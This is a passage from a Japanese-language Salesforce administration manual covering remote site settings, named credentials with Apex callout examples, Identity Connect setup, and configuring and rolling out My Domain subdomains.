
選択します。
7. [次へ] をクリックします。
8. [ボタンまたはリンクの URL] テキストボックスに、サービスプロバイダの定義から得た [Idp-init のログ

イン URL] 項目の値を入力し、[次へ] をクリックします。
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メモ: これは絶対 URL にします。つまり、http:// または https:// のどちらかを必ず含める必要が
あります。

9. [次へ] をクリックし、[保存] をクリックします。
10. ページ上部の新しいタブをクリックします。ID プロバイダとして機能する Salesforce 組織からログアウトす

ると、ログインするよう求められます。ログインすると、ID プロバイダとして機能する Salesforce 組織がタ
ブに表示されます。

関連トピック:

ID プロバイダとサービスプロバイダ

リモートサイトの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

Visualforce および Sコント
ロールは、Database.com
Edition では利用できませ
ん。

ユーザ権限

リモート設定を定義する
• 「アプリケーションの

カスタマイズ」または
「すべてのデータの編
集」

Sコントロールやカスタムボタンで XmlHttpRequest を使用して、Visualforceページ、
Apex 呼び出し、または JavaScript コードで外部サイトを呼び出せるようにするに
は、事前に [リモートサイトの設定] ページにそのサイトを登録しておく必要が
あります。登録していないと、呼び出しは失敗します。

メモ: Lightningコンポーネントでの対応するアクセス権を有効にするには、
CSP 信頼済みサイトを作成します。

ページにアクセスするには、[設定] から [クイック検索] ボックスに「リモート
サイトの設定」と入力し、[リモートサイトの設定]を選択します。このページに
は、すでに登録済みのリモートサイトの一覧が表示され、リモートサイト名や
URL など、各サイトの付加情報があります。
セキュリティ上の理由から、Salesforce では、指定できる送信ポートを、次のい
ずれかに制限します。
• 80: このポートは、HTTP 接続のみを受け付けます。
• 443: このポートは、HTTPS 接続のみを受け付けます。
• 1024–66535 (1024 と 66535 も含む): これらのポートは、HTTP 接続または HTTPS 接

続を受け付けます。
新しいサイトを登録する手順は、次のとおりです。
1. [新規リモートサイト] をクリックします。
2. [リモートサイト名] には、分かりやすい名前を入力してください。
3. リモートサイトの URL を入力します。
4. ユーザの接続が HTTP 経由か HTTPS 経由かに関係なく、リモートサイトにアク

セスできるようにするには、[プロトコルセキュリティの無効化] チェックボックスをオンにします。これ
がオンになっていると、Salesforce は HTTPS セッションから HTTP セッションに、またその逆方向にもデータ
を渡せます。このチェックボックスは、セキュリティについて理解した上でオンにしてください。

5. 必要に応じて、サイトの説明を入力します。
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6. [保存]をクリックして終了するか、[保存 & 新規]をクリックして作業内容を保存し、サイトの追加登録を開
始します。

関連トピック:

サードパーティ API にアクセスするための CSP 信頼済みサイトの作成

指定ログイン情報

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

指定ログイン情報では、1 つの定義にコールアウトエンドポイントの URL と必要
な認証パラメータを指定します。認証済みのコールアウトの設定を簡略化する
には、コールアウトエンドポイントとして指定ログイン情報を指定します。代
わりに、URL をコールアウトエンドポイントとして指定する場合は、その URL を
組織のリモートサイト設定に登録し、認証を自分で処理する必要があります。
たとえば、Apex コールアウトの場合、コードで認証を処理する必要があります
が、セキュリティが低下し、特に OAuth 実装では複雑になる可能性があります。
コールアウトで指定ログイン情報をコールアウトエンドポイントとして指定す
るすべての認証が Salesforce によって管理されるため、これらを行う必要はあり
ません。指定ログイン情報で定義されたサイトについては、外部サイトへのコールアウトに必要なリモートサ
イト設定もスキップできます。
指定ログイン情報は、次のタイプのコールアウト定義でサポートされています。
• Apex コールアウト
• 次の外部データソース種別

– Salesforce Connect: OData 2.0

– Salesforce Connect: OData 4.0

– Salesforce Connect: カスタム (Apex Connector Framework で開発)

エンドポイント URL と認証をコールアウト定義から切り離すことで、指定ログイン情報でコールアウトを簡単
に管理できます。たとえば、エンドポイント URL が変更された場合も、指定ログイン情報を更新するだけで
す。その指定ログイン情報を参照するすべてのコールアウトは、引き続き機能します。
複数の組織がある場合、各組織に同じ名前でエンドポイント URL が異なる指定ログイン情報を作成できます。
これにより、それらの指定ログイン情報の共有名を参照するコールアウト定義を 1 つだけパッケージして (す
べての組織で) リリースできます。たとえば、各組織の指定ログイン情報に異なるエンドポイント URL を指定
して、開発環境と本番環境の違いに対応することができます。Apexコールアウトでそれらの指定ログイン情報
の共有名が指定されている場合、コールアウトを定義する Apex クラスをパッケージ化して、プログラムで環
境をチェックすることなく、すべての組織にリリースできます。
指定ログイン情報は、基本パスワード認証と OAuth 2.0 をサポートします。各指定ログイン情報は、組織の指定
ユーザを使用するように設定することも、ユーザが各自のログイン情報を管理できるようにユーザごとの認証
を使用するように設定することもできます。
コールアウト定義から指定ログイン情報を参照するには、指定ログイン情報 URL を使用します。指定ログイン
情報 URL にはスキーム「callout:」、指定ログイン情報の名前、必要に応じて追加されたパスが含まれます。
例: callout:My_Named_Credential/some_path。
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クエリ文字列を指定ログイン情報 URL に追加できます。指定ログイン情報 URL とクエリ文字列の間の区切り文
字として疑問符 (?) を使用します。たとえば、callout:My_Named_Credential/some_path?format=json

です。

例: 次の Apex コードでは、指定ログイン情報と追加されたパスによってコールアウトのエンドポイント
が指定されます。
HttpRequest req = new HttpRequest();
req.setEndpoint('callout:My_Named_Credential/some_path');
req.setMethod('GET');
Http http = new Http();
HTTPResponse res = http.send(req);
System.debug(res.getBody());

参照される指定ログイン情報では、エンドポイント URL と認証設定が指定されます。

パスワード認証ではなく OAuth を使用する場合、Apexコードに変更はありません。指定ログイン情報の認
証設定は異なります。これは組織で定義されている認証プロバイダを参照するためです。

次に、指定ログイン情報を使用しない Apex コードがどうなるかを見てみましょう。基本的なパスワード
認証を使用していても、コードの認証処理はより複雑になっています。OAuth のコーディングはさらに複
雑になるため、指定ログイン情報には最適な使用事例です。
HttpRequest req = new HttpRequest();
req.setEndpoint('https://my_endpoint.example.com/some_path');
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req.setMethod('GET');

// Because we didn't set the endpoint as a named credential,
// our code has to specify:
// - The required username and password to access the endpoint
// - The header and header information

String username = 'myname';
String password = 'mypwd';

Blob headerValue = Blob.valueOf(username + ':' + password);
String authorizationHeader = 'BASIC ' +
EncodingUtil.base64Encode(headerValue);
req.setHeader('Authorization', authorizationHeader);

// Create a new http object to send the request object
// A response object is generated as a result of the request

Http http = new Http();
HTTPResponse res = http.send(req);
System.debug(res.getBody());

指定ログイン情報の定義
コールアウトエンドポイントの URL と必要な認証パラメータを 1 つの定義内に指定する、指定ログイン情
報を作成します。指定ログイン情報をコールアウトエンドポイントとして指定することで、Salesforce です
べての認証を処理できます。指定ログイン情報で定義されたサイトについては、外部サイトへのコールア
ウトに必要なリモートサイト設定もスキップできます。
指定ログイン情報の認証設定へのアクセス権の付与
ユーザ単位の認証を使用する指定ログイン情報の場合、権限セットまたはプロファイルを使用してアクセ
ス権をユーザに付与します。このようにすると、外部システムにアクセスするためのユーザの認証設定を
自分で設定および管理できるようになります。

関連トピック:

指定ログイン情報の定義
指定ログイン情報の認証設定へのアクセス権の付与
Apex 開発者ガイド: Apex を使用したコールアウトの呼び出し
外部認証プロバイダ
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指定ログイン情報の定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

指定ログイン情報を表示
する
• 「設定・定義を参照す

る」

指定ログイン情報を作
成、編集、または削除す
る
• 「アプリケーションの

カスタマイズ」

コールアウトエンドポイントの URL と必要な認証パラメータを 1 つの定義内に指
定する、指定ログイン情報を作成します。指定ログイン情報をコールアウトエ
ンドポイントとして指定することで、Salesforceですべての認証を処理できます。
指定ログイン情報で定義されたサイトについては、外部サイトへのコールアウ
トに必要なリモートサイト設定もスキップできます。
指定ログイン情報は、次のタイプのコールアウト定義でサポートされています。
• Apex コールアウト
• 次の外部データソース種別

– Salesforce Connect: OData 2.0

– Salesforce Connect: OData 4.0

– Salesforce Connect: カスタム (Apex Connector Framework で開発)

指定ログイン情報を設定する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「指定ログイン情報」と入力し、[指

定ログイン情報] を選択します。
2. [新規指定ログイン情報] をクリックします。既存の指定ログイン情報を変更

する場合は [編集] をクリックします。
3. 項目を入力します。

説明項目

リストビューなどのSalesforceユーザインターフェースに表示される、指定ログ
イン情報のわかりやすい名前。
[ID 種別]を [ユーザ]に設定すると、ユーザが外部システムの認証設定を表示
または編集するときに、この表示ラベルが表示されます。

表示ラベル

コールアウト定義および API からこの指定ログイン情報を参照する場合に使用
される一意の ID。
名前には、アンダースコアと英数字のみを使用できます。一意であること、最
初は文字であること、空白は使用しない、最後にアンダースコアを使用しな
い、2 つ続けてアンダースコアを使用しないという制約があります。

名前

コールアウトエンドポイントの URL またはルート URL。http:// または
https://で開始する必要があります。パスは含めることができますが、クエ
リ文字列を含めることはできません。例:

URL

• http://my_endpoint.example.com

• https://my_endpoint.example.com/secure/payroll
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説明項目

ただし、クエリ文字列と特定のパスを、コールアウト定義から指定ログイン情
報への参照に追加できます。たとえば、Apexコールアウトでは、指定ログイン
情報「My_Payroll_System」を次のように参照できます。
HttpRequest req = new HttpRequest();
req.setEndpoint('callout:My_Payroll_System/paystubs?format=json');

証明書を指定する場合、Salesforce 組織が、各外部システムとの双方向 SSL 接続
確立時に証明書を提供します。この証明書は、要求がユーザのSalesforce組織か
らのものであることを確認するデジタル署名に使用されます。

証明書

外部システムへのアクセスに 1 セットのログイン情報と複数セットのログイン
情報のどちらを使用するかを決定します。

ID 種別

• 匿名: ID がないため、認証は行われません。
• ユーザ: コールアウトから外部システムにアクセスするユーザごとに、別個

のログイン情報を使用します。このオプションは、ユーザ単位で外部シス
テムのアクセスを制限する場合に選択します。
Salesforce の権限セットまたはプロファイルを使用してユーザアクセスを付
与したら、ユーザは個人設定で外部システムの独自の認証設定を管理でき
ます。

• 指定ユーザ: 組織から外部システムにアクセスするすべてのユーザに対し
て、同じセットのログイン情報を使用します。このオプションは、すべて
の Salesforce 組織ユーザに外部システムの 1 つのユーザアカウントを指定す
る場合に選択します。

4. 認証プロトコルを選択します。
• [パスワード認証]を選択した場合は、外部システムにアクセスするためのユーザ名とパスワードを入力

します。
• [OAuth 2.0] を選択した場合は、次の項目を入力します。

説明項目

プロバイダを選択します。「外部認証プロバイダ」 (ページ1088)を参照して
ください。

認証プロバイダ
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説明項目

アクセストークンを要求するための権限の範囲を指定します。認証プロバイ
ダによって有効な値が決まります。「Scope パラメータの使用」 (ページ1123)

を参照してください。

範囲

メモ:

– 入力した値で、指定された認証プロバイダに定義された [デフォル
トの範囲] 値が置き換えられます。

– 範囲が定義されているかどうかは、各 OAuth フローがユーザに同意
画面を表示するかどうかに影響する場合があります。

– 更新トークンまたはオフラインアクセスを要求することをお勧めし
ます。要求を行わない場合、トークンの期限が切れたときに、外部
システムへのアクセス権が失われます。

外部システムに対して認証を行い OAuth トークンを取得するには、このチェッ
クボックスをオンにします。この認証プロセスは OAuth フローと呼ばれま
す。
[保存] をクリックすると、ログインするよう外部システムから求められま
す。ログインに成功すると、この組織から外部システムのデータにアクセス
するための OAuth トークンが外部システムから与えられます。

保存時に認証フローを開
始

新しいトークンが必要な場合 (トークンが期限切れなど)、あるいは [範囲]

または [認証プロバイダ]項目を編集した場合は、OAuth フローをやり直しま
す。

5. コールアウトでカスタムヘッダーまたは本文を使用する場合、関連するオプションを有効にします。

説明項目

デフォルトでは、Salesforceで認証ヘッダーが生成され、指定
ログイン情報を参照する各コールアウトに適用されます。
次のいずれかの場合には、このオプションをオフにします。

認証ヘッダーを生成

• リモートエンドポイントで認証ヘッダーがサポートされ
ていない。

• 認証ヘッダーが他の方法で提供される。たとえば、開発
者は、コールアウトごとにカスタム認証ヘッダーを作成
するコードを Apex コールアウトで使用できます。

このオプションは、外部データソースから指定ログイン情
報を参照する場合に必要です。
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説明項目

Apexコールアウトごとに、HTTP ヘッダーとリクエストボディ
の作成方法をコードで指定します。たとえば、Apex コード
で、認証ヘッダーに Cookie の値を設定できます。
これらのオプションを使用すると、コールアウトが行われ
たときに HTTP ヘッダーとリクエストボディに組織データを
入力する差し込み項目を Apex コードで使用できます。

HTTP ヘッダーの差し込み項目を許可
HTTP 本文の差し込み項目を許可

このオプションは、外部データソースから指定ログイン情
報を参照する場合は使用できません。

コールアウト定義から指定ログイン情報を参照するには、指定ログイン情報 URL を使用します。指定ログイン
情報 URL にはスキーム「callout:」、指定ログイン情報の名前、必要に応じて追加されたパスが含まれます。
例: callout:My_Named_Credential/some_path。
クエリ文字列を指定ログイン情報 URL に追加できます。指定ログイン情報 URL とクエリ文字列の間の区切り文
字として疑問符 (?) を使用します。たとえば、callout:My_Named_Credential/some_path?format=json

です。

関連トピック:

指定ログイン情報
指定ログイン情報の認証設定へのアクセス権の付与
Apex 開発者ガイド: Apex を使用したコールアウトの呼び出し
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指定ログイン情報の認証設定へのアクセス権の付与

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
すべてのエディション

権限セットを使用可能な
エディション: Contact
Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

権限セットおよびユーザ
プロファイルを編集する
• 「プロファイルと権限

セットの管理」

ユーザ単位の認証を使用する指定ログイン情報の場合、権限セットまたはプロ
ファイルを使用してアクセス権をユーザに付与します。このようにすると、外
部システムにアクセスするためのユーザの認証設定を自分で設定および管理で
きるようになります。
1. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セッ

ト] または [プロファイル] を選択します。
2. 変更する権限セットまたはプロファイルの名前をクリックします。
3. 次のいずれかの操作を実行します。

• 権限セット、または拡張プロファイルユーザインターフェースのプロファ
イルの場合は、[アプリケーション] セクションの [指定ログイン情報のア
クセス権] をクリックします。次に、[編集] をクリックします。

• 元のプロファイルユーザインターフェースのプロファイルの場合は、[指
定ログイン情報アクセスの有効化] セクションで [編集] をクリックしま
す。

4. 有効にする指定ログイン情報を追加します。
5. [保存] をクリックします。

関連トピック:

外部システムの認証設定の保存
指定ログイン情報の定義
指定ログイン情報

Identity Connect

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition
Developer Edition には 10
個の Identity Connect 権限
セットライセンスが含ま
れます。

Identity Connect は、Windows または Linux プラットフォームで実行するサービスを
介して Microsoft Active Directory と Salesforce を統合します。AD ユーザに Salesforce へ
のシングルサインオンアクセスが提供されます。AD ユーザを同期するときに、
Salesforceまたは Identity Connect のいずれかが ID サービスプロバイダとして機能し
ます。

Identity Connect のインストール
Identity Connect の有効化

関連トピック:

Identity Connect のインストール
Identity Connect の有効化
Identity Connect 実装ガイド
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Identity Connect のインストール

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition
Developer Edition には 10
個の Identity Connect 権限
セットライセンスが含ま
れます。

ユーザ権限

Identity Connect をインス
トールする
• 「ユーザの管理」

組織に少なくとも 1 つの Identity Connect ライセンスが必要です。Identity Connect を
取得するには、Salesforce にお問い合わせください。
通常、Identity Connect ソフトウェアは、IT 部門がサーバにインストールします。
各ユーザが Identity Connect を個別にインストールする必要はありません。
1. [設定] から、[クイック検索] ボックスに「Identity Connect」と入力し、

[Identity Connect] を選択します。

メモ: [Identity Connect] は、組織にこの機能が追加されていない場合は
[設定] には表示されません。

2. オペレーティングシステムに対応するダウンロードリンクをクリックしま
す。

3. 『Salesforce Identity Connect Implementation Guide』に従ってソフトウェアをイン
ストールします。

関連トピック:

Identity Connect

Identity Connect の有効化

1156

シングルサインオンSalesforce 組織の設定および管理

http://resources.docs.salesforce.com/rel1/doc/en-us/static/pdf/identity_connect_impl_guide.pdf


Identity Connect の有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition
Developer Edition には 10
個の Identity Connect 権限
セットライセンスが含ま
れます。

ユーザ権限

権限セットライセンスを
割り当てる
• 「内部ユーザの管理」

権限セットを作成して割
り当てる
• 「プロファイルと権限

セットの管理」

権限セットに割り当てら
れたユーザを参照する
• 「設定・定義を参照す

る」

Identity Connect を取得するには、Salesforce にお問い合わせください。
ユーザに対して Identity Connect を有効にする手順は、次のとおりです。
1. Identity Connect ライセンスをユーザに割り当てます。
2. 権限セットを作成し、「Identity Connect を使用」権限を追加します。
3. 権限セットをユーザに割り当てます。

段階的な手順: 権限セットを作成、編集、および割り当てる

関連トピック:

Identity Connect

Identity Connect のインストール
Identity Connect 実装ガイド

私のドメイン
エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Performance Edition、
Unlimited Edition、
Enterprise Edition、
Developer Edition、
Professional Edition、およ
び Group Edition

Salesforceの [私のドメイン] 機能を使用して、サブドメインを Salesforce組織の URL

に追加します。サブドメインを持つことで、独自のブランドが強調され、組織
がより安全になります。サブドメインを使用すれば、ログインページをカスタ
マイズすることができるので便利です。
[私のドメイン] を使用すると、Salesforceドメインの一部であるサブドメインを定
義できます。たとえば、developerは salesforce.com ドメインのサブドメ
インです。サブドメインでは、https://na30.salesforce.com のような
Salesforceが割り当てた URL が、https://somethingcool.my.salesforce.com

のような自分が選択した名前で置き換わります。サブドメインはカスタムドメ
インとも呼ばれます。ただし、カスタムドメインには Salesforce コミュニティ固
有の意味があります。
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サブドメイン名を使用すると、組織でのログインや認証の管理を次のようないくつかの主要な方法で改善する
ことができます。実行できる操作は、次のとおりです。
• 一意のドメイン URL でビジネスアイデンティティを強調する
• ログイン画面のブランド設定および右フレームのコンテンツのカスタマイズを行う
• 新しいドメイン名を使用しないページ要求をブロックまたはリダイレクトする
• 複数の Salesforce 組織で同時に作業する
• カスタムログインポリシーを設定してユーザの認証方法を決定する
• ユーザがログインページで Google や Facebook などのソーシャルアカウントを使用してログインできるよう

にする
• ユーザが 1 回ログインするだけで外部サービスにアクセスできるようにする
次の Salesforce 機能を使用するには [私のドメイン] が必要です。
• 外部 ID プロバイダを使用したシングルサインオン (SSO)

• Google や Facebook などの認証プロバイダを使用したソーシャルサインオン
• Lightning コンポーネントタブ、Lightning ページ、Lightning アプリケーションビルダー、またはスタンドアロ

ンアプリケーションの Lightning コンポーネント
Sandbox 環境でも [私のドメイン] を使用できます。

メモ:  [私のドメイン] には、追加の利用規約が適用されます。

ドメイン名には、次のような標準 URL 形式を使用します。
• プロトコル: https://

• サブドメインのプレフィックス: ブランドまたは用語
• ドメイン: my.salesforce.com

名前は 40 字以下で、文字、数字、ハイフンを使用できます。サブドメイン名の先頭は、root、status、またはハ
イフンにはできません。
ドメイン名を決定する前に、複数の名前を試して使用可能かどうかを確認できます。
Salesforceは、ドメインの作成時に ID プロバイダとして有効になります。ドメインをリリースした後で、ドメイ
ンのログインポリシーをカスタマイズして、ID プロバイダを追加または変更したり、組織のセキュリティを強
化したりできます。

重要: ドメインはリリース直後に有効になり、元の URL を使用した要求は新しいドメインにリダイレクト
されます。リリース後は、Salesforce カスタマーサポートのみが、ドメイン名を無効化または変更できま
す。

ドメイン名の設定
[私のドメイン] により、サブドメイン名をすばやく簡単に実装します。
ドメイン名の定義
組織のカスタムドメイン名を [私のドメイン] で登録してください。登録する前に、名前を試用して利用可
能かどうか確認できます。
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[私のドメイン] を実装するためのガイドラインとベストプラクティス
次のヒントにより、[私のドメイン] で作成したサブドメインを使用することに円滑に移行できます。
新しいドメイン名のテストおよびリリース
[私のドメイン] でサブドメインを設定したら、テストしてからユーザにロールアウトします。テストでは、
サブドメインを試すことができます。さらに、サブドメインをユーザにロールアウトする前に、ページの
URL を検証できます。
[私のドメイン] の URL の変更
[私のドメイン] で組織のサブドメイン名を設定すると、Visualforce ページを含め、すべてのアプリケーショ
ン URL も変更されます。ドメイン名をリリースする前に、すべてのアプリケーション URL を更新している
ことを確認します。たとえば、Chatter アンサーの [メール通知 URL]項目を更新しないと、古い URL で通知
を内部ユーザに送信し続けます。次の表に変更内容を示します。
[私のドメイン] のログインポリシーの設定
ドメインのログインポリシーをカスタマイズして、ユーザログインを管理します。デフォルトでは、ユー
ザはドメイン固有のログインページをスキップして、一般的な Salesforce ログインページからログインでき
ます。ログインポリシーを設定しない場合、ドメイン名を使用せずにページ要求を行うことができます (以
前のブックマークを使用する場合など)。
ブランドを使用したログインページのカスタマイズ
背景色、ロゴ、および右側のコンテンツを追加して、ログインページの外観をカスタマイズします。自社
のブランド設定でログインページをカスタマイズすると、ユーザがページを見分けやすくなります。
ログインページへの ID プロバイダの追加
ユーザが代替 ID プロバイダオプションを使用してログインページから直接認証できるようにします。シン
グルサインオンを有効にして SAML を設定しているか、[設定] で [認証プロバイダ] として外部認証プロバイ
ダを設定している場合、ドメインのログインページでそれらの ID プロバイダへのリンクを提供できます。
ユーザは ID プロバイダのログイン画面に送られて認証された後、Salesforceにリダイレクトして戻されます。
[私のドメイン] を使用したシステムパフォーマンス情報とメンテナンス情報の取得
システムのパフォーマンスと可用性に関する情報は trust.salesforce.com から取得できます。Trust に
より、組織インスタンスに基づいて状況の情報がレポートされます。[私のドメイン] を使用していて、組
織インスタンスが分からない場合は、調べることができます。
FAQ - 私のドメイン
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ドメイン名の設定

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Performance Edition、
Unlimited Edition、
Enterprise Edition、
Developer Edition、
Professional Edition、およ
び Group Edition

ユーザ権限

ドメイン名を設定する
• 「アプリケーションの

カスタマイズ」

[私のドメイン] により、サブドメイン名をすばやく簡単に実装します。
1. 使用可能なドメイン名を見つけてサインアップします。
2. ログインページのロゴ、背景色、および右フレームの内容をカスタマイズし

ます。
3. ログインページで使用できる ID プロバイダを追加または変更します。
4. ドメイン名をテストして組織全体にリリースします。
5. ユーザがページにアクセスするときのログインポリシーを設定します。

関連トピック:

私のドメイン
ドメイン名の定義
新しいドメイン名のテストおよびリリース
[私のドメイン] のログインポリシーの設定
ブランドを使用したログインページのカスタマイズ
ログインページへの ID プロバイダの追加

ドメイン名の定義

エディション

使用可能なインター
フェース: Salesforce Classic
と Lightning Experience の
両方

使用可能なエディション:
Performance Edition、
Unlimited Edition、
Enterprise Edition、
Developer Edition、
Professional Edition、およ
び Group Edition

ユーザ権限

ドメイン名を定義する
• 「アプリケーションの

カスタマイズ」

組織のカスタムドメイン名を [私のドメイン] で登録してください。登録する前
に、名前を試用して利用可能かどうか確認できます。
[私のドメイン] サブドメイン名の設定では、最初に組織に固有のドメイン名を見
つけて登録します。名前は慎重に選択します。登録すると、Salesforce がドメイ
ン名を使用してそのドメイン名レジストリを更新します。名前を登録した後は、
Salesforce カスタマーサポートしかドメイン名を無効化または変更できません。
1. [設定] から、[クイック検索] ボックスに「私のドメイン」と入力し、[私のド

メイン] を選択します。
2. サンプル URL で使用するサブドメイン名を入力します。たとえば、Universal

Containers という会社が universalcontainers というサブドメインを使用
すると、その会社のログイン URL は
https://universalcontainers.my.salesforce.com/ になります。名
前は 40 字以下で、文字、数字、ハイフンを使用できます。
次の予約語は、サブドメインには使用できません。
• www

• salesforce

• heroku

ドメイン名の先頭を次のものにすることはできません。
• root

• status
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• ハイフン (-)

3. [使用可能か調べる] をクリックします。名前がすでに使用されている場合、別の名前を選択します。
4. [ドメインの登録] をクリックします。
5. ドメイン名のテストの準備ができると、通知メールが送信されます数分かかることがあります。
新しいサブドメインのテストとリリース後、ユーザはそのサブドメインを使用できるようになります。

関連トピック:

ドメイン名の設定
[私のドメイン] を実装するためのガイドラインとベストプラクティス
[私のドメイン] の URL の変更
新しいドメイン名のテストおよびリリース

[私のドメイン] を実装するためのガイドラインとベストプラクティス

エディション

使用可能なインター
フェース: Salesforce Classic
と Lightning Experience の
両方

使用可能なエディション:
Performance Edition、
Unlimited Edition、
Enterprise Edition、
Developer Edition、
Professional Edition、およ
び Group Edition

次のヒントにより、[私のドメイン] で作成したサブドメインを使用することに円
滑に移行できます。
• リリースする前に今後の変更をユーザに通知します。
• トラフィックが少ないときにトラブルシューティングができるように、組織

で受信するトラフィックが最小になるタイミング (週末など) に新しいサブド
メインをリリースします。

• カスタムボタンや Visualforce ページなどの機能によって Salesforce UI をカスタ
マイズした場合、カスタマイズを徹底的にテストしてからドメイン名をリ
リースしてください。ハードコード化された参照のために破損したリンク (イ
ンスタンスベースの URL) を探し、その代わりにサブドメイン URL を使用しま
す。詳細は、Salesforce ヘルプに「ハードコード化された参照」と入力してく
ださい。最初に Sandbox 環境でテストします。

• ドメイン名をリリースする前に、すべてのアプリケーション URL を更新して
いることを確認します。たとえば、Chatter アンサーの [メール通知 URL] 項
目を更新しないと、古い URL で通知を内部ユーザに送信し続けます。

• ドメインが登録されたが、まだリリースされていない場合に [私のドメイン] ログインページからログイン
すると、URL にサブドメイン名が示されます。ただし、ワークフローメールなど非同期で送信されるメール
に埋め込まれている差し込み項目から作成されたリンクには、依然として古い URL が使用されます。ドメ
インのリリース後は、上記のようなリンクにも新しい [私のドメイン] URL が表示されます。

• 頻繁に使用するページ (ログインページなど) へのリンクを提供して、ユーザが新しいサブドメイン名の使
用を開始できるようにサポートします。ログインポリシーが変更されたことをユーザに通知して、ユーザ
が初めてリダイレクトされたときにブックマークを更新するように促します。

• リダイレクトポリシーの[ドメイン内の同じページに警告付きでリダイレクト]オプションを選択して、ユー
ザがブックマークを新しいサブドメイン名に更新する猶予期間を設けます。数日または数週間が経過した
ら、ポリシーを [未リダイレクト] に変更します。このオプションは、ページを表示するときにサブドメイ
ン名を使用するようユーザに要求します。これはセキュリティレベルが最も高いオプションです。
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• [https://login.salesforce.com からログインできないようにする] は、サブドメインを認識していないユーザが
そのドメインを使用するのではないかと懸念される場合にのみ使用します。それ以外の場合は、ユーザが
新しいドメイン名に慣れるまでの間このオプションを使用できるようにしておきます。

• パートナーポータルに [ドメイン内の同じページにリダイレクト] オプションが選択されている場合はブッ
クマークが機能しません。既存のブックマークを手動で変更し、Salesforce インスタンス名をカスタムドメ
イン名に置き換えることによって、新しいドメイン URL を参照するようにします。たとえば、ブックマー
クの URL にある https://na30.salesforce.com/ を https://yourDomain.my.salesforce.com/ に
置き換えます。

• 新しい Salesforce サブドメイン URL を使用していないアプリケーションページ要求をブロックする場合は、
ユーザに、以前のブックマークを更新するか、ログインページの新しいブックマークを作成する必要があ
ることを通知します。ユーザはアプリケーション内のタブやリンクも更新する必要があります。ログイン
リダイレクトポリシーを [未リダイレクト] に変更する場合は、ユーザが直ちに新しいサブドメイン URL を
使用する必要があります。

• [私のドメイン] を使用する場合は、いつどのユーザが新しいログイン URL でログインしているかを識別でき
ます。[設定] から、[クイック検索] ボックスに「ログイン履歴」と入力し、[ログイン履歴] を選択して、
[ユーザ名] 列と [ログイン URL] 列を表示します。

• login.salesforce.com ページで、ユーザは [カスタムドメインにログインする] をクリックし、サブド
メイン名を入力してログインできます。この場合、ユーザがサブドメイン名を認識している必要がありま
す。安全を期すために、サブドメインのログインページへのダイレクトリンクをユーザに配布します。

実行すること使用している要素

API クライアントがサーバエンドポイントを直接参照
しているかどうかを確認します。APIクライアントは、

組織への API インテグレーション

ハードコード化されたサーバ URL を使用する代わり
に、ログイン要求で返された LoginResult.serverURL 値を
使用する必要があります。
サブドメインがリリースされた後は、Salesforceがドメ
インを含むサーバ URL を返します。リダイレクトポリ
シー設定が API コールに影響することはありません。
つまり、インスタンス URL への従来のコールも継続し
て機能します。ただし、ベストプラクティスは、
Salesforce から返された値を使用することです。

組織のインスタンス URL への参照をサブドメインに置
き換えます。

メールテンプレート

組織のインスタンス URL への参照をサブドメインに置
き換えます。「How to find hard-coded references with the

Force.com IDE」を参照してください。

カスタム Visualforce ページまたはカスタム Force.com ア
プリケーション

Chatterグループの左側のナビゲーションでブックマー
クを更新するようにユーザに通知します。

Chatter
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実行すること使用している要素

メール通知 URL を手動で更新します。コミュニティのゾーン (アイデア/アンサー/Chatter アン
サー)

URL を更新するには、既存の URL をクリアして項目を
空白にし、ページを保存します。その後、システムが
項目に新しい [私のドメイン] の URL を入力します。

関連トピック:

[私のドメイン] の URL の変更
新しいドメイン名のテストおよびリリース
私のドメイン

新しいドメイン名のテストおよびリリース

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Performance Edition、
Unlimited Edition、
Enterprise Edition、
Developer Edition、
Professional Edition、およ
び Group Edition

ユーザ権限

ドメイン名を設定する
• 「アプリケーションの

カスタマイズ」

[私のドメイン] でサブドメインを設定したら、テストしてからユーザにロールア
ウトします。テストでは、サブドメインを試すことができます。さらに、サブ
ドメインをユーザにロールアウトする前に、ページの URL を検証できます。

重要: ドメインはリリース直後に有効になり、元の URL を使用した要求は新
しいドメインにリダイレクトされます。リリース後は、Salesforceカスタマー
サポートのみが、ドメイン名を無効化または変更できます。

1. ドメインのログインをテストします。[設定] から、[クイック検索] ボックス
に「私のドメイン」と入力し、[私のドメイン] を選択します。または、DE 組
織からログアウトし、新しいサブドメイン名を使用してSalesforceにログイン
します。または、受信したアクティベーションメールに記載されたログイン
リンクをクリックします。
ドメインをユーザにリリースする前に、ドメインのログインページをカスタ
マイズして認証サービス (ソーシャルサインオンなど) を追加できます。ドメ
インを Sandbox 環境でテストすることもできます。

2. タブとリンクをクリックして、新しいドメイン名をテストします。すべての
ページに新しいドメイン名が表示されます。
カスタムボタンや Visualforce ページなどの機能によって Salesforce UI をカスタ
マイズした場合、カスタマイズを徹底的にテストしてからドメイン名をリ
リースしてください。ハードコード化された参照のために破損したリンク (インスタンスベースの URL) を探
し、その代わりにサブドメイン URL を使用します。詳細は、Salesforce ヘルプに「ハードコード化された参
照」と入力してください。

3. 新しいドメイン名を組織にロールアウトするには、[設定] から、[クイック検索] ボックスに「私のドメイ
